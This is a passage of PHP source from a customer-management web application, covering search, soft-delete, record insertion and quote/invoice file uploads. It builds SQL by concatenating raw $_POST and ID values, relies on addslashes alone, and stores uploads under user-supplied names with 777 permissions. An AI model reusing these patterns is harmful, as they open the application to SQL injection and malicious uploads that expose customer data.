								$whereClause = ' WHERE (`city` like "%'.$_POST['city'].'%") AND status="1" AND month(created_date) = month(now())  ORDER BY customer_id';
							elseif($_POST['mobile'])
								$whereClause = ' WHERE (`mobile` like "%'.$_POST['mobile'].'%") AND status="1" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['mobile'])
								$whereClause = ' WHERE (`mobile` like "%'.$_POST['mobile'].'%") AND status="1" AND month(created_date) = month(now()) ORDER BY customer_id';
							elseif($_POST['email'])
								$whereClause = ' WHERE (`email` like "%'.$_POST['email'].'%") AND status="1" AND month(created_date) = month(now())  ORDER BY customer_id';
							elseif($_POST['created_by'])
								$whereClause = ' WHERE (`created_by` like "%'.$_POST['created_by'].'%") AND status="1" AND month(created_date) = month(now())  ORDER BY customer_id';
							elseif($_POST['enquiry'])
								$whereClause = ' WHERE (`enquiry_through` like "%'.$_POST['enquiry'].'%") AND status="1" AND month(created_date) = month(now()) ORDER BY customer_id';
				  }  				  }
				  
				    $SelQuery		= 'SELECT * FROM `arka_customer_reg_master`'.$whereClause;
  
  $listing_split = new MsplitPageResults($SelQuery, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('LinkPage_for_my_cus',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('PerPageNavigation_for_my_cus',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
   $PageList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
  }
  }
  						   $objSmarty->assign('customer_id',$_POST['customer_id']);
						   $objSmarty->assign('customer_name',$_POST['customer_name']);
						   $objSmarty->assign('address1',$_POST['address1']);
						   $objSmarty->assign('city',$_POST['city']);
						   $objSmarty->assign('area',$_POST['area']);
						   $objSmarty->assign('mobile',$_POST['mobile']);
						   $objSmarty->assign('email',$_POST['email']);





  if(!empty($PageList) && is_array($PageList))

   foreach($PageList as $key=>$value)
   {
	$SelQuery_Cnt_Dtls = 'SELECT `customer_name` FROM `arka_customer_contact_details` WHERE `customer_id` ="'.stripslashes($PageList[$key]['customer_id']).'" AND status="1"' ;
		$CntList		   = $this->ExecuteQuery($SelQuery_Cnt_Dtls, "select");
		
		//$SelQuery_Cnt_mstr = 'SELECT `name_of_caller` FROM `arka_customer_reg_master` WHERE `customer_id` ="'.stripslashes($PageList[$key]['customer_id']).'" AND status="1"' ;
		//$CntList_mstr		   = $this->ExecuteQuery($SelQuery_Cnt_mstr, "select");		
		$CntList_Array3=$CntList_Array3.$PageList[$key]['name_of_caller'].",";
		if(!empty($CntList) && is_array($CntList)) 
		{
			foreach($CntList as $key2=>$value2)
			{
			$CntList_Array3=$CntList_Array3.$CntList[$key2]['customer_name'].",";
			}
		}
		$PageList[$key]['combo_cust_name'] = $CntList_Array3;
		
    $PageList[$key]['ID'] = stripslashes($PageList[$key]['customer_id']);
	$PageList[$key]['Cname'] = stripslashes($PageList[$key]['customer_name']);
	$PageList[$key]['CDesig'] = stripslashes($PageList[$key]['designation']);
	$PageList[$key]['CAddr1'] = stripslashes($PageList[$key]['address1']);
	$PageList[$key]['CAddr2'] = stripslashes($PageList[$key]['address2']);
	$PageList[$key]['Ccity'] = stripslashes($PageList[$key]['city']);
	$PageList[$key]['Area'] = stripslashes($PageList[$key]['area']);
	$PageList[$key]['CLand'] = stripslashes($PageList[$key]['landmark']);
	$PageList[$key]['CPin'] = stripslashes($PageList[$key]['pincode']);
	$PageList[$key]['Cmobile'] = stripslashes($PageList[$key]['mobile']);
	$PageList[$key]['Cemail'] = stripslashes($PageList[$key]['email']);
	$PageList[$key]['Cstatus'] = stripslashes($PageList[$key]['status']);
	
	
	 if($PageList[$key]['Cstatus'] == 1)
	 {
	 $PageList[$key]['Cstatus'] ='Active';
	 }
	elseif($PageList[$key]['Cstatus'] == 0)
	{
	 $PageList[$key]['Cstatus'] ='InActive';
	}
	 $CntList_Array3="";
	
   }
  

  $objSmarty->assign('i', $listing_split->i);
  $objSmarty->assign('PageList', $PageList);
  return $PageList;
 
}
 /*************************************************************************** Delete the Customer Details*****************************************/
 function DeleteCus($CusIdent){
  global $objSmarty;
 
    $DelQuery = 'update `arka_customer_reg_master` set `status`=0 WHERE `customer_id` ="'.$CusIdent.'"';
	$this->ExecuteQuery($DelQuery, 'delete');
  
  $objSmarty->assign('Keyword', $this->Keyword);
  $objSmarty->assign('Operator', $this->Operator);
  $objSmarty->assign('Offset', $this->Offset);
  $objSmarty->assign('PerPage', $this->PerPage);
  return true;
 }
 
 /**************************************************************************** Delete the Customer Contact Details  ***************************************/
 function DeleteContacts($CusIdent,$ConIdent){
  	global $objSmarty;
    $DelQuery = 'update `arka_customer_contact_details` set `status`=0 WHERE `sl_no` ="'.$ConIdent.'"';
	$this->ExecuteQuery($DelQuery, 'delete');
  	header('Location:'."./customer_contact_list.php?cust_id=".$CusIdent.'&succs_msg_for_delete_contact');
  	return true;
 }
 
 /******************************************************************************* Delete the Customer Address Details  **************************************/
 function DeleteAddress($CusIdent,$ConIdent){
	global $objSmarty;
    $AddressQuery = 'update `arka_customer_address_details` set `status`=0 WHERE `sl_no` ="'.$ConIdent.'"';
	$this->ExecuteQuery($AddressQuery, 'delete');
  	header('Location:'."./customer_address_list.php?cust_id=".$CusIdent.'&succs_msg_for_delete_address');
    return true;
 }
 
  /******************************************************************************* Delete the Customer Address Details  ************************************/
 function DeleteRemarks($CusIdent,$ConIdent){
	global $objSmarty;
    $AddressQuery = 'update `arka_customer_remarks_details` set `status`=0 WHERE `sl_no` ="'.$ConIdent.'"';
	$this->ExecuteQuery($AddressQuery, 'delete');
  	header('Location:'."./list_customer_remarks.php?cust_id=".$CusIdent.'&succs_msg_for_delete_remarks');
    return true;
 }
 
  /******************************************************************************* Delete the Customer Address Details****************************************/
 function DeleteQuote($CusIdent,$ConIdent){
	global $objSmarty;
    $AddressQuery = 'update `arka_product_quote` set `status`=0 WHERE `sl_no` ="'.$ConIdent.'"';
	$this->ExecuteQuery($AddressQuery, 'delete');
  	header('Location:'."./customer_quote_list.php?cust_id=".$CusIdent.'&succs_msg_for_delete_quote');
    return true;
 }
 
  /******************************************************************************* Delete the Customer Profoma Details****************************************/
 function DeleteProfoma($CusIdent,$ConIdent){
	global $objSmarty;
    $ProfomaQuery = 'update `arka_profoma_mstr` set `status`=0 WHERE `sl_no` ="'.$ConIdent.'"';
	$this->ExecuteQuery($ProfomaQuery, 'delete');
  	header('Location:'."./customer_profoma_list.php?cust_id=".$CusIdent.'&succs_msg_for_delete_profoma');
    return true;
 }
 
   /******************************************************************************* Delete the Customer Profoma Details****************************************/
 function DeleteInvoice($CusIdent,$ConIdent){
	global $objSmarty;
    $InvoiceQuery = 'update `arka_invoice_mstr` set `status`=0 WHERE `sl_no` ="'.$ConIdent.'"';
	$this->ExecuteQuery($InvoiceQuery, 'delete');
  	header('Location:'."./customer_profoma_list.php?cust_id=".$CusIdent.'&succs_msg_for_delete_invoice');
    return true;
 }
 
 function DeletePO_Tab_list($CusIdent,$ConIdent){
	global $objSmarty;
    $AddressQuery = 'update `arka_po_master` set `status`=0 WHERE `sl_no` ="'.$ConIdent.'"';
	$this->ExecuteQuery($AddressQuery, 'delete');
  	header('Location:'."./tab_list_po_upload.php?cust_id=".$CusIdent.'&succs_msg_for_delete_quote');
    return true;
 } 
 
  function DeleteServiceQuote($CusIdent,$ConIdent){
	global $objSmarty;
    $AddressQuery = 'update `arka_serv_qut_mstr` set `status`=0 WHERE `sl_no` ="'.$ConIdent.'"';
	$this->ExecuteQuery($AddressQuery, 'delete');
  	header('Location:'."./customer_service_quote_list.php?cust_id=".$CusIdent.'&succs_msg_for_delete_quote');
    return true;
 }
 /********************************************************************************** Insert the content for Customer Registration *********************************/
 
 function InsertCustomerContent($objArray)
 {
   global $objSmarty,$_POST;
	
	/* $EmailHtml = FnsReadFile($config['SiteLocalPath'] . 'email_copy.php');
	  $ArrReplace = array($config['SiteTitle'], $config['SiteGlobalPath']);
	  $Message = str_replace($ArrFind, $ArrReplace, $EmailHtml);
	  $To = 'suresh@adroitsolutionz.com';
	  $From = 'Cron Daemon<donotreply@adroitsolutionz.com>';
	  $Subject = $config['SiteTitle'] . ' New Ticket';
	  Send($To, $Message, $From, $Subject);
	  */
  
 if($this->ChkDupliCust(trim(addslashes($objArray['mobile'])),trim(addslashes($objArray['email_id'])),trim(addslashes($objArray['company_name'])))){
   if(!$objArray['c_id']){
    $objSmarty->assign('ErrorMessage', 'Customer ID should not be blank');
	return false;
   }elseif($objArray['salutaion']=='0'){
    $objSmarty->assign('ErrorMessage', 'Please Select Salutation');
	return false;
   }elseif(!$objArray['name_of_caller']){
    $objSmarty->assign('ErrorMessage', 'Name of the Caller should not be blank');
	return false;
   }elseif((!$objArray['mobile']) && (!$objArray['phone'])){
    $objSmarty->assign('ErrorMessage', 'Mobile or Phone Number should not be blank');
	return false;
   }elseif(!$objArray['designation']){
    $objSmarty->assign('ErrorMessage', 'Designation should not be blank');
	return false;
   }elseif(!$objArray['email_id']){
    $objSmarty->assign('ErrorMessage', 'Email should not be blank');
	return false;
   }elseif(!$objArray['place']){
    $objSmarty->assign('ErrorMessage', 'Place should not be blank');
	return false;
   }elseif(!$objArray['address1']){
    $objSmarty->assign('ErrorMessage', 'Address1 should not be blank');
	return false;
   }elseif(!$objArray['enquiry_through']){
    $objSmarty->assign('ErrorMessage', 'Enquiry Through should not be blank');
	return false;
   }elseif(!$objArray['crdate']){
    $objSmarty->assign('ErrorMessage', 'Created Date should not be blank');
	return false;
   }elseif(!$objArray['area']){
    $objSmarty->assign('ErrorMessage', 'Area Field should not be blank');
	return false;
   }elseif(isset($objArray['order_status'])){
   		
   		if(($objArray['order_status'] == "Pending") || ($objArray['order_status'] == "Closed With Order")  )
				{
						
					if(!$objArray['snooze_hour']){
						$objSmarty->assign('ErrorMessage', 'Snooze Hour should not be blank');
						return false;
					   }elseif(!$objArray['snooze_minute']){
						$objSmarty->assign('ErrorMessage', 'Snooze Minute should not be blank');
						return false;
					   }elseif(!$objArray['meridian']){
						$objSmarty->assign('ErrorMessage', 'Snooze Meridian should not be blank');
						return false;
					   }elseif(!$objArray['snooze_date']){
						$objSmarty->assign('ErrorMessage', 'Snooze Date should not be blank');
						return false;
						}elseif(!$objArray['assign_to']){
						$objSmarty->assign('ErrorMessage', 'Assign To should not be blank');
						return false;
					  }elseif(!$objArray['requirements']){
						$objSmarty->assign('ErrorMessage', 'Requirement should not be blank');
						return false;
					  }
					  $st = $objArray['snooze_hour'].":".$objArray['snooze_minute'].":00 ".$objArray['meridian']; 
					  $follow_up_status = "Ticket Open"; 
					  $ct = "NA";
			 }
			 else
			 {
					  if(!$objArray['closed_hour']){
						$objSmarty->assign('ErrorMessage', 'Snooze Hour should not be blank');
						return false;
					   }elseif(!$objArray['closed_minute']){
						$objSmarty->assign('ErrorMessage', 'Snooze Minute should not be blank');
						return false;
					   }elseif(!$objArray['closed_meridian']){
						$objSmarty->assign('ErrorMessage', 'Snooze Meridian should not be blank');
						return false;
					   }elseif(!$objArray['closedDated']){
						$objSmarty->assign('ErrorMessage', 'Snooze Date should not be blank');
						return false;
					   }elseif(!$objArray['assign_to']){
						$objSmarty->assign('ErrorMessage', 'Assign To should not be blank');
						return false;
					   }elseif(!$objArray['requirements']){
						$objSmarty->assign('ErrorMessage', 'Requirement should not be blank');
						return false;
					  }
					  $ct = $objArray['closed_hour'].":".$objArray['closed_minute'].":00 ".$objArray['closed_meridian']; 
					  $follow_up_status = "Ticket Closed"; 
			 		$st = "NA";
			 		$objArray['assign_to']= "NA";
			 		$objArray['requirements']= "NA";
			 		
			 
			 }
		}
		
   $follow_up_time="NA";
   
   $objSmarty->assign('c_id', $objArray['c_id']);
   if($objArray['c_id'] && $objArray['name_of_caller']){
   
   //Select from customer master where company name "corresponding text feild"
   //if record available--> Return false
   $InsQuery = 'INSERT INTO `arka_customer_reg_master`(`customer_id`, `salutation`, `name_of_caller`, `second_name`, `last_name`,`designation`,`mobile`,`mobile2`,`mobile3`,`mobile4`,`mobile5`,`code`,`phone`,`extn1`,`code2`,`phone2`,`extn2`,`code3`,`phone3`,`extn3`,`email`,`email2`,`company_name`,`place`,`landmark`, `area`, `address1`, `address2`, `city`,`pincode`, `customer_requirements`, `others`, `enquiry_through`, `call_response`, `customer_type`, `customer_status`,  `quote_value`, `quote_ref`, `estimate_value`,`remarks`, `created_by`, `assign_to`,`created_date`,`created_time`,`status`) VALUES("'.trim(addslashes($objArray['c_id'])).'","'.trim(addslashes($objArray['salutation'])).'","'.trim(addslashes($objArray['name_of_caller'])).'","'.trim(addslashes($objArray['second_name'])).'","'.trim(addslashes($objArray['last_name'])).'","'.trim(addslashes($objArray['designation'])).'","'.trim(addslashes($objArray['mobile'])).'","'.trim(addslashes($objArray['mobile2'])).'","'.trim(addslashes($objArray['mobile3'])).'","'.trim(addslashes($objArray['mobile4'])).'","'.trim(addslashes($objArray['mobile5'])).'","'.trim(addslashes($objArray['code'])).'","'.trim(addslashes($objArray['phone'])).'","'.trim(addslashes($objArray['extn1'])).'","'.trim(addslashes($objArray['code2'])).'","'.trim(addslashes($objArray['phone2'])).'","'.trim(addslashes($objArray['extn2'])).'","'.trim(addslashes($objArray['code3'])).'","'.trim(addslashes($objArray['phone3'])).'","'.trim(addslashes($objArray['extn3'])).'","'.trim(addslashes($objArray['email_id'])).'","'.trim(addslashes($objArray['email_id2'])).'","'.trim(addslashes($objArray['company_name'])).'","'.trim(addslashes($objArray['place'])).'","'.trim(addslashes($objArray['landmark'])).'","'.trim(addslashes($objArray['area'])).'","'.trim(addslashes($objArray['address1'])).'","'.trim(addslashes($objArray['address2'])).'","'.trim(addslashes($objArray['city'])).'","'.trim(addslashes($objArray['pincode'])).'","'.trim(addslashes($objArray['requirements'])).'","'.trim(addslashes($objArray['others'])).'","'.trim(addslashes($objArray['enquiry_through'])).'","'.trim(addslashes($objArray['call_response'])).'","'.trim(addslashes($objArray['customer_type'])).'","'.trim(addslashes($objArray['customer_status'])).'","'.trim(addslashes($objArray['quote_value'])).'","'.trim(addslashes($objArray['quote_ref'])).'","'.trim(addslashes($objArray['estimate_value'])).'","'.trim(addslashes($objArray['remarks'])).'","'.trim(addslashes($objArray['created_by_whom'])).'","'.trim(addslashes($objArray['assign_to'])).'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","1")';
  	 $this->ExecuteQuery($InsQuery, 'insert');
	 
	 $InsQuery2 = 'INSERT INTO `arka_customer_contact_details`(`salutation`,`customer_id`,`area`, `customer_name`, `second_name`, `last_name`,`created_date`,`created_time`, `designation`, `mobile_no`,`mobile2`,`mobile3`,`mobile4`,`mobile5`, `code`, `phone`, `extn1`, `email`, `email2`, `remarks`, `status`, `created_by`) VALUES("'.trim(addslashes($objArray['salutation'])).'","'.trim(addslashes($objArray['c_id'])).'","'.trim(addslashes($objArray['area'])).'","'.trim(addslashes($objArray['name_of_caller'])).'","'.trim(addslashes($objArray['second_name'])).'","'.trim(addslashes($objArray['last_name'])).'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","'.trim(addslashes($objArray['designation'])).'","'.trim(addslashes($objArray['mobile'])).'","'.trim(addslashes($objArray['mobile2'])).'","'.trim(addslashes($objArray['mobile3'])).'","'.trim(addslashes($objArray['mobile4'])).'","'.trim(addslashes($objArray['mobile5'])).'","'.trim(addslashes($objArray['code'])).'","'.trim(addslashes($objArray['phone'])).'","'.trim(addslashes($objArray['extn1'])).'","'.trim(addslashes($objArray['email_id'])).'","'.trim(addslashes($objArray['email_id2'])).'","'.trim(addslashes($objArray['remarks'])).'","1","'.trim(addslashes($objArray['created_by_whom'])).'")';
	 $this->ExecuteQuery($InsQuery2, 'insert');	 
	 
	 $InsQuery3 = 'INSERT INTO `arka_customer_address_details`(`customer_id`, `customer_name`, `second_name`, `last_name`, `address1`,`address2`, `area`, `landmark`, `city`, `pincode`, `remarks`, `created_date`, `created_time`, `status`,`created_by`) VALUES("'.trim(addslashes($objArray['c_id'])).'","'.trim(addslashes($objArray['name_of_caller'])).'","'.trim(addslashes($objArray['second_name'])).'","'.trim(addslashes($objArray['last_name'])).'","'.trim(addslashes($objArray['address1'])).'","'.trim(addslashes($objArray['address2'])).'","'.trim(addslashes($objArray['area'])).'","'.trim(addslashes($objArray['landmark'])).'","'.trim(addslashes($objArray['city'])).'","'.trim(addslashes($objArray['pincode'])).'","'.trim(addslashes($objArray['remarks'])).'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","1","'.trim(addslashes($objArray['created_by_whom'])).'")';
	 $this->ExecuteQuery($InsQuery3, 'insert');		 
	 
	 
	  $InsQuery4 = 'INSERT INTO `arka_customer_remarks_details`(`customer_id`, `company_name`, `customer_name`, `mobile`,`code`, `phone`,`extn1`, `area`, `address1`, `address2`, `city`, `pincode`, `requirements`, `others`, `snooze_date`, `snooze_time`, `assign_to`, `remarks`, `enquiry_through`, `created_date`,`created_time`, `status`, `created_by`, `customer_status`,`customer_type`,`quote_value`, `order_status`, `quote_ref`, `estimate_value`, `follow_up_status`, `closed_date`, `closed_time`, `final_competitor`, `inr_flr_type`, `inr_flr_size`, `inr_flr_units`, `out_flr_type`, `out_flr_size`, `out_flr_units`, `enquiry_ref` , `competitors`) VALUES("'.trim(addslashes($objArray['c_id'])).'","'.trim(addslashes($objArray['company_name'])).'","'.trim(addslashes($objArray['name_of_caller'])).'","'.trim(addslashes($objArray['mobile'])).'","'.trim(addslashes($objArray['code'])).'","'.trim(addslashes($objArray['phone'])).'","'.trim(addslashes($objArray['extn1'])).'","'.trim(addslashes($objArray['area'])).'","'.trim(addslashes($objArray['address1'])).'","'.trim(addslashes($objArray['address2'])).'","'.trim(addslashes($objArray['city'])).'","'.trim(addslashes($objArray['pincode'])).'","'.trim(addslashes($objArray['requirements'])).'","'.trim(addslashes($objArray['others'])).'","'.trim(addslashes($objArray['snooze_date'])).'","'.$st.'","'.trim(addslashes($objArray['assign_to'])).'","'.trim(addslashes($objArray['remarks'])).'","'.trim(addslashes($objArray['enquiry_through'])).'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","1","'.trim(addslashes($objArray['created_by_whom'])).'","'.trim(addslashes($objArray['customer_status'])).'","'.trim(addslashes($objArray['customer_type'])).'","'.trim(addslashes($objArray['quote_value'])).'","'.trim(addslashes($objArray['order_status'])).'","'.trim(addslashes($objArray['quote_ref'])).'","'.trim(addslashes($objArray['estimate_value'])).'","'.trim(addslashes($follow_up_status)).'","'.trim(addslashes($closedDate)).'","'.$ct.'","'.trim(addslashes($competitor)).'","'.trim(addslashes($inner_floor_type)).'","'.trim(addslashes($inner_area_size)).'","'.trim(addslashes($inner_area_units)).'","'.trim(addslashes($outer_floor_type)).'","'.trim(addslashes($outer_area_size)).'","'.trim(addslashes($inner_area_units)).'","'.trim(addslashes($reference)).'","'.trim(addslashes($all_competitors)).'")';
	 $this->ExecuteQuery($InsQuery4, 'insert');
	 	  
	 
	//Success Message
	header('Location:' .$_SERVER['PHP_SELF'].'?server_response=success&cust_id='.$objArray['c_id'].'&window_action=true');
	//header('Location:' ."customer_details_view.php?cust_id=".trim(addslashes($objArray['c_id'])));
		}
	//PrePopulate($objArray, 'CusDetail');
	  }
else
{
			$objSmarty->assign('ErrorMessage', 'Customer Already Exist !');
			return false;
}
 }
 
 /********************************************************************************************Insert Quote **************************************/
 function InsertQuote($objArray,$objFiles){
   global $objSmarty, $config;	 
 	//print_r($objArray);
	//echo "from function";
	//echo $objArray['quote_type'];
   list($name,$format) = split("[.]", $objFiles['file_name']['name'],2);
   //$f1 = date('hisjmy')."_".$objFiles['file_name']['name'];
   $f1 = date('d-m-Y h-i-s A')."_".$objFiles['file_name']['name'];
   $uploadpath = $config['QuotePath'];
  // echo $f1;
   if(!isset($objArray['quote_type']))
   {
       		$objSmarty->assign('ErrorMessage', 'Please select Quote Type to upload');
			return false;
   }
   if(move_uploaded_file($objFiles['file_name']['tmp_name'], $uploadpath.$f1))
   {
  // echo "sdfsf";exit;created_by_whom
   chmod($uploadpath.$f1,"777");
	$str = trim(addslashes($objArray['pending_remarks']));
	$result = explode('-', $str);
	
   $objSmarty->assign('customer_id', $objArray['customer_id']);
   if($objArray['customer_id']){
   if($objArray['quote_type']=="pro_quote")
   {
				   $InsQuery = 'INSERT INTO `arka_product_quote` (`customer_id`, `file_path`,`created_date`, `created_time`, `created_by`, `customer_name`, `remark_id`, `remark_from`,`status`) VALUES("'.trim(addslashes($objArray['customer_id'])).'",
				   "'.$f1.'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","'.trim(addslashes($objArray['created_by_whom'])).'","'.$result[0].'","'.$result[1].'","'.$result[2].'","1")';
					 $this->ExecuteQuery($InsQuery, 'insert');
	}
    else if($objArray['quote_type']=="po_upload")
	{				
      $InsQuery = 'INSERT INTO `arka_po_master` (`customer_id`, `file_path`,`created_date`, `created_time`, `created_by`, `customer_name`, `remark_id`, `remark_from`,`status`) VALUES("'.trim(addslashes($objArray['customer_id'])).'",
				   "'.$f1.'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","'.trim(addslashes($objArray['created_by_whom'])).'","'.$result[0].'","'.$result[1].'","'.$result[2].'","1")';					
					
					 $this->ExecuteQuery($InsQuery, 'insert');	
	}	
	else if($objArray['quote_type']=="profoma")
	{
				   $InsQuery = 'INSERT INTO `arka_profoma_mstr` (`customer_id`, `file_path`,`created_date`, `created_time`, `created_by`, `customer_name`, `remark_id`, `remark_from`,`status`) VALUES("'.trim(addslashes($objArray['customer_id'])).'",
				   "'.$f1.'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","'.trim(addslashes($objArray['created_by_whom'])).'","'.$result[0].'","'.$result[1].'","'.$result[2].'","1")';
					 $this->ExecuteQuery($InsQuery, 'insert');	
	}
	else if($objArray['quote_type']=="invoice")
	{
				   $InsQuery = 'INSERT INTO `arka_invoice_mstr` (`customer_id`, `file_path`,`created_date`, `created_time`, `created_by`, `customer_name`, `remark_id`, `remark_from`,`status`) VALUES("'.trim(addslashes($objArray['customer_id'])).'",
				   "'.$f1.'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","'.trim(addslashes($objArray['created_by_whom'])).'","'.$result[0].'","'.$result[1].'","'.$result[2].'","1")';
					 $this->ExecuteQuery($InsQuery, 'insert');	
	}
	else if($objArray['quote_type']=="ser_quote")
	{
				   $InsQuery = 'INSERT INTO `arka_serv_qut_mstr` (`customer_id`, `file_path`,`created_date`, `created_time`, `created_by`, `customer_name`, `remark_id`, `remark_from`,`status`) VALUES("'.trim(addslashes($objArray['customer_id'])).'",
				   "'.$f1.'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","'.trim(addslashes($objArray['created_by_whom'])).'","'.$result[0].'","'.$result[1].'","'.$result[2].'","1")';
					 $this->ExecuteQuery($InsQuery, 'insert');	
	}
	else if($objArray['quote_type']=="courier_quote")
	{
				   $InsQuery = 'INSERT INTO `arka_courier_mstr` (`customer_id`, `file_path`,`created_date`, `created_time`, `created_by`, `customer_name`, `remark_id`, `remark_from`,`status`) VALUES("'.trim(addslashes($objArray['customer_id'])).'",
				   "'.$f1.'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","'.trim(addslashes($objArray['created_by_whom'])).'","'.$result[0].'","'.$result[1].'","'.$result[2].'","1")';
					 $this->ExecuteQuery($InsQuery, 'insert');	
	}
	else if($objArray['quote_type']=="parcel_quote")
	{
				   $InsQuery = 'INSERT INTO `arka_parcel_mstr` (`customer_id`, `file_path`,`created_date`, `created_time`, `created_by`, `customer_name`, `remark_id`, `remark_from`,`status`) VALUES("'.trim(addslashes($objArray['customer_id'])).'",
				   "'.$f1.'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","'.trim(addslashes($objArray['created_by_whom'])).'","'.$result[0].'","'.$result[1].'","'.$result[2].'","1")';
					 $this->ExecuteQuery($InsQuery, 'insert');	
	}
	else if($objArray['quote_type']=="cheque_quote")
	{
				   $InsQuery = 'INSERT INTO `arka_cheque_mstr` (`customer_id`, `file_path`,`created_date`, `created_time`, `created_by`, `customer_name`, `remark_id`, `remark_from`,`status`) VALUES("'.trim(addslashes($objArray['customer_id'])).'",
				   "'.$f1.'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","'.trim(addslashes($objArray['created_by_whom'])).'","'.$result[0].'","'.$result[1].'","'.$result[2].'","1")';
					 $this->ExecuteQuery($InsQuery, 'insert');	
	}
	else if($objArray['quote_type']=="letters_quote")
	{
				   $InsQuery = 'INSERT INTO `arka_letters_mstr` (`customer_id`, `file_path`,`created_date`, `created_time`, `created_by`, `customer_name`, `remark_id`, `remark_from`,`status`) VALUES("'.trim(addslashes($objArray['customer_id'])).'",
				   "'.$f1.'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","'.trim(addslashes($objArray['created_by_whom'])).'","'.$result[0].'","'.$result[1].'","'.$result[2].'","1")';
					 $this->ExecuteQuery($InsQuery, 'insert');	
	}
	else if($objArray['quote_type']=="forms")
	{
				   $InsQuery = 'INSERT INTO `arka_forms_mstr` (`customer_id`, `file_path`,`created_date`, `created_time`, `created_by`, `customer_name`, `remark_id`, `remark_from`,`status`) VALUES("'.trim(addslashes($objArray['customer_id'])).'",
				   "'.$f1.'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","'.trim(addslashes($objArray['created_by_whom'])).'","'.$result[0].'","'.$result[1].'","'.$result[2].'","1")';
					 $this->ExecuteQuery($InsQuery, 'insert');	
	}		
	else if($objArray['quote_type']=="others")
	{
				   $InsQuery = 'INSERT INTO `arka_others_mstr` (`customer_id`, `file_path`,`created_date`, `created_time`, `created_by`, `customer_name`, `remark_id`, `remark_from`,`status`) VALUES("'.trim(addslashes($objArray['customer_id'])).'",
				   "'.$f1.'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","'.trim(addslashes($objArray['created_by_whom'])).'","'.$result[0].'","'.$result[1].'","'.$result[2].'","1")';
					 $this->ExecuteQuery($InsQuery, 'insert');	
	}					
	//Success Message
	
	header('Location:' .$_SERVER['PHP_SELF'].'?succs_msg_for_insert');
		}
		
		
		
	  }
	  else
	  {
    		$objSmarty->assign('ErrorMessage', 'Please browse the file to upload');
			return false;
	  }
 }
 
 
 /********************************************************************************************Insert Quote **************************************/
 function InsertPO($objArray,$objFiles){
   global $objSmarty, $config;	 
 	//print_r($objFiles);
   list($name,$format) = split("[.]", $objFiles['file_name']['name'],2);
   //$f1 = date('hisjmy')."_".$objFiles['file_name']['name'];
   $f1 = date('d-m-Y h-i-s A')."_".$objFiles['file_name']['name'];
   $uploadpath = $config['QuotePath'];
  // echo $f1;
   if(move_uploaded_file($objFiles['file_name']['tmp_name'], $uploadpath.$f1))
   {
  // echo "sdfsf";exit;
   chmod($uploadpath.$f1,"777");
   $objSmarty->assign('customer_id', $objArray['customer_id']);
   if($objArray['customer_id']){
   $InsQuery = 'INSERT INTO `arka_po_master` (`customer_id`, `file_path`,`created_date`, `created_time`, `created_by`, `status`) VALUES("'.trim(addslashes($objArray['customer_id'])).'",
   "'.$f1.'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","'.trim(addslashes($objArray['created_by_whom'])).'","1")';
  // 	$this->prepareQuery($InsQuery);exit;
  	 $this->ExecuteQuery($InsQuery, 'insert');
	//Success Message
	header('Location:' .$_SERVER['PHP_SELF'].'?succs_msg_for_insert');
		}
	  }
	  else
	  {
    		$objSmarty->assign('ErrorMessage', 'Please browse the file to upload');
			return false;
	  }
 } 
 
 
 
 
  /********************************************************************************************Insert Quote **************************************/
 function InsertServiceQutMstr($objArray,$objFiles){
   global $objSmarty, $config;	 
 	//print_r($objFiles);
   list($name,$format) = split("[.]", $objFiles['file_name']['name'],2);
   //$f1 = date('hisjmy')."_".$objFiles['file_name']['name'];
   $f1 = date('d-m-Y h-i-s A')."_".$objFiles['file_name']['name'];
   $uploadpath = $config['QuotePath'];
  // echo $f1;
   if(move_uploaded_file($objFiles['file_name']['tmp_name'], $uploadpath.$f1))
   {
  // echo "sdfsf";exit;
   chmod($uploadpath.$f1,"777");
   $objSmarty->assign('customer_id', $objArray['customer_id']);
   if($objArray['customer_id']){
   $InsQuery = 'INSERT INTO `arka_serv_qut_mstr` (`customer_id`, `file_path`,`created_date`, `created_time`, `created_by`, `status`) VALUES("'.trim(addslashes($objArray['customer_id'])).'",
   "'.$f1.'","'.trim(addslashes($objArray['crdate'])).'","'.trim(addslashes($objArray['crtime'])).'","'.trim(addslashes($objArray['created_by_whom'])).'","1")';
  // 	$this->prepareQuery($InsQuery);exit;
  	 $this->ExecuteQuery($InsQuery, 'insert');
	//Success Message
	header('Location:' .$_SERVER['PHP_SELF'].'?succs_msg_for_insert');
		}
	  }
	  else
	  {
    		$objSmarty->assign('ErrorMessage', 'Please browse the file to upload');
			return false;
	  }
 } 
 
 
 
 /************************************************************************ Edit the Customer Details*******************************************/
 function EditCustomer($objArray){
  global $objSmarty,$_REQUEST;
  $CusIdent=$_REQUEST['c_id'];
 if($this->ChkDuplicateEdit(trim(addslashes($objArray['mobile'])),trim(addslashes($objArray['email'])),trim(addslashes($objArray['company_name'])),$CusIdent)) {
  
